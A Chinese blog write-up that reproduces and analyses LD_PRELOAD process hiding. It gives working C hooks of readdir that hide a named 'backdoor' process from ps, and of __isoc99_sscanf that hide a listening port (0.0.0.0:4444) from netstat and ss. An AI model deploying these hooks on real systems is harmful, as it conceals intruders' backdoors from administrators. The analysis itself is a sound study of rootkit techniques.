进程隐藏

前两天逛github时, 看到了这个进程隐藏的项目,

感觉挺有意思的, 简单复现分析一下, 并写了个差不多的用来隐藏网络信息的

ps进程隐藏

准备

得到ps源码

git clone https://gitlab.com/procps-ng/procps.git

关闭内核的地址随机化

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

编译

./autogen.sh && ./configure CFLAGS="-ggdb" LDFLAGS="-ggdb" --prefix=$PWD ;make clean; make -j12 ;make install
ps逻辑的分析

大概思路为:

打开/proc文件夹, 根据pid遍历, 读取/proc/pid/status, /proc/pid/stat, /proc/pid/cmdline

调试

首先读取/proc/self/status, 读取自己的一些信息

然后读取/proc/sys/kernel/pid_max, 读取最大的pid

然后读取/proc/uptime, 显示开机时间

然后readdir读取PT, 得到ent结构体

这里可以在linux手册上看到该结构体信息

struct dirent {
    ino_t          d_ino;       /* inode number */
    off_t          d_off;       /* offset to the next dirent */
    unsigned short d_reclen;    /* length of this record */
    unsigned char  d_type;      /* type of file; not supported
                                   by all file system types */
    char           d_name[256]; /* filename */
};

这里只关心filename, 看到这里filename为4

然后紧接着把ent -> d_namep -> tgid, 再用snprintf拼接给path得到读取proc信息的绝对路径

尝试打开/proc/4/stat


读取/proc/4/stat, 这里用cat读一下, 看一下内容是否相同,

相差不大, 说明是正确的, 内容也可能不会完全相同, 因为进程的信息是随时变化的

hook

链接, https://github.com/gianlucaborello/libprocesshider

这里使用LD_PRELOAD,可以理解为覆盖原有的函数

其实他的思路就是hookreaddir函数, 使得process_name和我们的后门一样时, 跳过不读, 从而实现进程隐藏

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "ping";

/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}

#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
                                                                        \
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
    if(original_##readdir == NULL) {                                    \
        original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
        if(original_##readdir == NULL)                                  \
        {                                                               \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
        }                                                               \
    }                                                                   \
                                                                        \
    struct dirent* dir;                                                 \
                                                                        \
    while(1)                                                            \
    {                                                                   \
        dir = original_##readdir(dirp);                                 \
        if(dir) {                                                       \
            char dir_name[256];                                         \
            char process_name[256];                                     \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
                strcmp(dir_name, "/proc") == 0 &&                       \
                get_process_name(dir->d_name, process_name) &&          \
                strcmp(process_name, process_to_filter) == 0) {         \
                continue;                                               \
            }                                                           \
        }                                                               \
        break;                                                          \
    }                                                                   \
    return dir;                                                         \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

测试效果

用ping命令当作后门, 测试ps, 找不到进程

但有个缺点, 如果是监听的话, netstat能看到, 只不过找不到进程和进程名而已

这里的原因其实是, psnetstat原理的不同

ps是读取/proc下的进程信息并解析输出

netstat只是去读取并解析 /proc/net/tcp, (这是暂且只讨论tcp)

所以上文的hook不起作用

这里可以看到, 能看到有0.0.0.0:3333的监听, 只不过是16进制

于是这里依照上面的原理再做一个netstat的隐藏

netstat进程隐藏

准备

git clone https://github.com/ecki/net-tools.git

添加调试信息并编译

./configure.sh CFLAGS="-ggdb" LDFLAGS="-ggdb" --prefix=$PWD ;make clean;make -j12;rm bin;mkdir bin; install -m 0755 netstat bin;

阅读源码与调试

源码不多, 大概思路如下

首先进入tcp_info

static int tcp_info(void)
{
    INFO_GUTS6(_PATH_PROCNET_TCP, _PATH_PROCNET_TCP6, "AF INET (tcp)",
           tcp_do_one, "tcp", "tcp6");
}

我们这里先不考虑tcp6

这里的_PATH_PROCNET_TCP, 被lib/pathnames.h定义为#define _PATH_PROCNET_TCP "/proc/net/tcp"

然后进入tcp_do_one, 这里读取/proc/net/tcp每一行的含义并解析

这里用sscanf解析读到的/proc/net/tcp中的一行的信息

这里添加逻辑测试, 如果端口为4444则返回, 编译测试, 成功屏蔽了4444端口, 且其他解析没问题

说明在这里添加逻辑是不影响程序正常运行的

hook

但是覆盖的函数不是sscanf, 而是__isoc99_sscanf, 具体在<stdio.h>中有, 这也是ida反编译出来的scanf名字不是scanf的原因

extern int __isoc99_sscanf (const char *__restrict __s,
                            const char *__restrict __format, ...) __THROW;
#  define fscanf __isoc99_fscanf
#  define scanf __isoc99_scanf
#  define sscanf __isoc99_sscanf

这里的逻辑为, 如果有监听0.0.0.0:4444则返回12,

这里之所以返回12是因为上层函数有一个错误检测(见上图1095行, 由于我的vim是相对行号, 在1086下面9行为原本的1095行), if (num < 11) 输出错误提示, 所以返回12

#include <stdarg.h>
#include <stdio.h>
#include <string.h>

int __isoc99_sscanf(const char *str, const char *format, ...)
{
    int ret;
    va_list ap;
    va_start(ap, format);

    if(strstr(str, "00000000:115C 00000000:0000 0A"))
        return 12;

    ret = vsscanf(str, format, ap);
    va_end(ap);
    return ret;
}

hook后, 就可以用系统自带的netstat来测试了

测试

ss|grep 4444
netsats -antup|grep 4444

这两者的结果都为空

由于检测不到进程监听4444端口, 甚至可以在此端口重复开进程

虽然psnetstat都看不到, 但进程实际上是成功运行了的, 也拥有正常的功能

点击收藏 | 6 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖